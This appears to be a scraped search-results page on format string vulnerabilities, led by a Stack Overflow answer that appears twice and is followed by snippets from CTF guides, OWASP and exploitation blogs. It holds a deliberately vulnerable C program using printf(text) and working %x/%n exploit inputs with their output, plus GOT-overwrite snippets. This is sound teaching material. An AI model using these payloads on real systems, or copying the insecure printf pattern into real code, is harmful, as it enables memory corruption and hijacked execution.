You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

Answer from Michael F on Stack Overflow
🌐
BreakInSecurity
axcheron.github.io › exploit-101-format-strings
Exploit 101 - Format Strings - BreakInSecurity
April 22, 2018 - The goal here will be to overwrite the address of exit() in the GOT with the address of hello(). There are 4 steps here : ... $ objdump -R format4 format4: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049888 R_386_GLOB_DAT __gmon_start__ 0804988c R_386_GLOB_DAT stdin@GLIBC_2.0 0804989c R_386_JUMP_SLOT printf@GLIBC_2.0 080498a0 R_386_JUMP_SLOT _exit@GLIBC_2.0 080498a4 R_386_JUMP_SLOT fgets@GLIBC_2.0 080498a8 R_386_JUMP_SLOT puts@GLIBC_2.0 080498ac R_386_JUMP_SLOT exit@GLIBC_2.0 # Address of exit() 080498b0 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 $ objdump -t format4 | grep hello 080484cb g F .text 0000002e hello
🌐
OWASP Foundation
owasp.org › www-community › attacks › Format_string_attack
Format string attack | OWASP Foundation
The attack could be executed when the application doesn’t properly validate the submitted input. In this case, if a Format String parameter, like %x, is inserted into the posted data, the string is parsed by the Format Function, and the conversion specified in the parameters is executed.
Top answer
1 of 6
98

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

2 of 6
21

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.

🌐
CTF Handbook
ctf101.org › binary-exploitation › what-is-a-format-string-vulnerability
Format String Vulnerability - CTF Handbook
A format string vulnerability is a bug where user input is passed as the format argument to printf, scanf, or another function in that family.
🌐
Gts3
tc.gts3.org › cs6265 › tut › tut05-fmtstr.html
Tut05: Format String Vulnerability - CS6265: Information Security Lab
NOTE: Be sure to use single quotes ... itself (e.g., like $PATH). If you do later need a format-string argument that includes interpolation, use " and backslash-escape the format-specifier $s (i.e., "\$"). Let's exploit this format-string bug to write an arbitrary value to an arbitrary ...
🌐
NVISO Labs
blog.nviso.eu › 2024 › 05 › 23 › format-string-exploitation-a-hands-on-exploration-for-linux
Format String Exploitation: A Hands-On Exploration for Linux – NVISO Labs
May 23, 2024 - During the exploitation process, our goal is to overwrite entries in the GOT with addresses of our choosing. By doing so, we can redirect the program’s execution to arbitrary locations, such as shellcode or other parts of memory under our control.
🌐
Stanford
cs155.stanford.edu › papers › formatstring-1.2.pdf pdf
Exploiting Format String Vulnerabilities scut / team teso September 1, 2001
September 1, 2001 - articles describing this method of exploitation and if this example is not fully ... It creates a string that is 497 characters long. Together with the error · string (“ERR Wrong command: ”) this exceeds the outbuf buffer by four · bytes. Although the ‘user’ string is only allowed to be as long as 400 bytes, we can extend its length by abusing format string parameters.
Find elsewhere
🌐
Paruchuri Rakesh
nuc13us.wordpress.com › 2015 › 09 › 04 › format-string-exploit-overwrite-got
Format String Exploit (OverWrite GOT) | Paruchuri Rakesh
September 7, 2015 - ➜ ./format "%x-%x-%x-%x-%x-%x-%x-%x-%x" Welcome to Format String Attack !!!!!!! Hello ffffd965-64-ffffd7b4-ffffd754-ffffd6c8-252d7825-78252d78-2d78252d-252d7825ffffd965-64-ffffd7b4-ffffd754-ffffd6c8-252d7825-78252d78-2d78252d-252d7825% So form this payload we got know that we can leak the address on the stack.
🌐
Infosec Institute
infosecinstitute.com › resources › secure-coding › format-string-vulnerabilities-exploitation-case-study
Format String Vulnerabilities Exploitation Case Study | Infosec
[*] Got EOF while sending in interactive · As we can notice, the format string vulnerability is leaking the canary highlighted in yellow but we have received a stack smashing detected error since we did not send this canary as part of the buffer. Now, we need to update the format string payload to leak only the canary instead of too many entries from the stack. So, let us update the exploit template to leak the stack canary by passing the argument A$llx.
🌐
Medium
medium.com › @danielorihuelarodriguez › format-string-vulnerability-439acbe81ddf
Format string vulnerability. What’s a format string vulnerability? | by DanielOrihuela | Medium
November 5, 2024 - However, if we remove the 7 and rerun it, we will see something like hello 3 0xbfffff8b. The format string will get the data from where the argument should have been placed. In that case, from the first address below the stack frame.
🌐
GitHub
github.com › whatsyourask › basics-of-pwn › blob › main › content › format-string › format-string.md
basics-of-pwn/content/format-string/format-string.md at main · whatsyourask/basics-of-pwn
So, this is the address which you will write in GOT. Let's try to exploit it without overwriting puts. I'll not specify how to determine the address and direct parameter number, you can do it yourself. gef➤ b *main + 138 Breakpoint 1 at 0x8049260 gef➤ r aaaa Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/got-overwrite aaaa aaaaaaaa Breakpoint 1, 0x08049260 in main () gef➤ got GOT protection: No RelRO | GOT functions: 4 [0x804b278] printf@GLIBC_2.0 → 0xf7e11340 [0x804b27c] gets@GLIBC_2.0 → 0xf7e2e1b0 [0x804b280] __libc_start_main@GLIBC_2.0 → 0xf7ddbdf0 [0x8
Author   whatsyourask
🌐
tripoloski blog
tripoloski1337.github.io › ctf › 2020 › 06 › 11 › format-string-bug.html
Exploiting Format String bug | tripoloski blog
June 11, 2020 - now we successfully overwrite exit got address to get_shell() to prevent this bug , you have to specify the format before print any data , because attacker can leak or write data on stack by using this bug , for example :
🌐
GitHub
gist.github.com › e73268d41d493e056a5d2d768e5c634a
A demonstration on how to overwrite GOT (Global Offset Table) table entry using format string vulnerability. · GitHub
A demonstration on how to overwrite GOT (Global Offset Table) table entry using format string vulnerability. - format_string_got.c
🌐
Codearcana
codearcana.com › posts › 2013 › 05 › 02 › introduction-to-format-string-exploits.html
Introduction to format string exploits
May 2, 2013 - A common technique is to overwrite the GOT entry with the address of the function system, thereby turning a call of strcat(buffer, "hello") into the call system(buffer) (if we can control the contents of buffer, we can get a shell!). For an example, we will exploit the following C program: ...
🌐
Medium
infosecwriteups.com › exploiting-format-string-vulnerability-97e3d588da1b
EXPLOITING FORMAT STRING VULNERABILITY | by AidenPearce369 | InfoSec Write-ups
January 18, 2024 - A Format String attack can occur when an input string data is processed by a vulnerable function so that attacker can pass the formats to exploit the stack values with the help of format string functions/printf() family functions
🌐
Medium
medium.com › @abhishekchaudhary_28536 › exploiting-format-strings-849bba2c5b3
Exploiting Format Strings - by Abhishek Chaudhary
November 17, 2019 - Hmm, something’s weird... when I gave %x and %x %x as input I got some different stuff as output. Now would be a good time to read up on string formatters in c. ... okay so %x gives us the hexadecimal number, but from where does it get the number to display? In absence of any second argument to the printf function, it just spits out values from the top of the stack. printf(“%x”) // Would just give you the pointer from the top of the stack. Now the question remains how can we exploit the given service using this vulnerability.
🌐
Medium
nikhilh20.medium.com › format-string-exploit-ccefad8fd66b
Format String Exploit. One of the most commonly used functions… | by ka1d0 | Medium
February 12, 2019 - Note: I haven’t worked on this exploit as part of any of my projects. I’ve been able to get a good example from picoCTF 2018, but most of the examples are generic. ... The first argument is a format string followed by a variable number of arguments.
🌐
Synacktiv
synacktiv.com › en › publications › exploiting-a-blind-format-string-vulnerability-in-modern-binaries-a-case-study-from
Exploiting a Blind Format String Vulnerability in Modern Binaries: A
October 30, 2024 - The print_debug_msg function allows an attacker to control the format string passed to vsnprintf, leading to potential arbitrary memory writes. This blog post outlines our successful exploitation of this format string vulnerability, employing ...
🌐
Medium
br0sck.medium.com › 02-binary-exploitation-format-string-vulnerability-e01a14618efa
02 Binary Exploitation: Format String Vulnerability | by Br0sck | Medium
November 1, 2022 - We found the vulnerability that is in the last lines of the code (printf(flagbuf)), so let’s exploit it: To automatically leak the strings, we can do a fuzzing process using the Python programming language together with the pwntools module.